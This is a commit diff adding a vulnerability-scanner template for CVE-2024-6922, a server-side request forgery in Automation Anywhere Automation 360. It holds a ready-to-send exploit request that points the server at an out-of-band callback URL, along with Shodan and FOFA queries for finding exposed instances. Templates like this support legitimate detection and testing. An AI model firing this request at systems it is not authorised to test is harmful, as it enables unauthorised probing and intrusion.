Create CVE-2024-6922.yaml

http/cves/2024/CVE-2024-6922.yaml

@@ -0,0 +1,43 @@
+id: CVE-2024-6922
+
+info:
+  name: Automation Anywhere Automation 360 - Server-Side Request Forgery
+  author: DhiyaneshDK
+  severity: high
+  description: |
+    Automation Anywhere Automation 360 v21-v32 is vulnerable to Server-Side Request Forgery in a web API component.
+  impact: An attacker with unauthenticated access to the Automation 360 Control Room HTTPS service (port 443) or HTTP service (port 80) can trigger arbitrary web requests from the server.
+  reference:
+    - https://www.automationanywhere.com/products/automation-360
+    - https://www.rapid7.com/blog/post/2024/07/26/cve-2024-6922-automation-anywhere-automation-360-server-side-request-forgery/
+  metadata:
+    verified: true
+    max-request: 1
+    shodan-query: http.favicon.hash:-1005691603
+    fofa-query: icon_hash="-1005691603"
+  tags: cve,cve2024,ssrf,oast,automation,anywhere
+
+http:
+  - raw:
+      - |
+        POST /v1/proxy/test HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/json
+        
+        {"saasUrl":"{{interactsh-url}}/?param=one#"}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "dns"
+
+      - type: word
+        part: content_type
+        words:
+          - "application/json"
+
+      - type: status
+        status:
+          - 400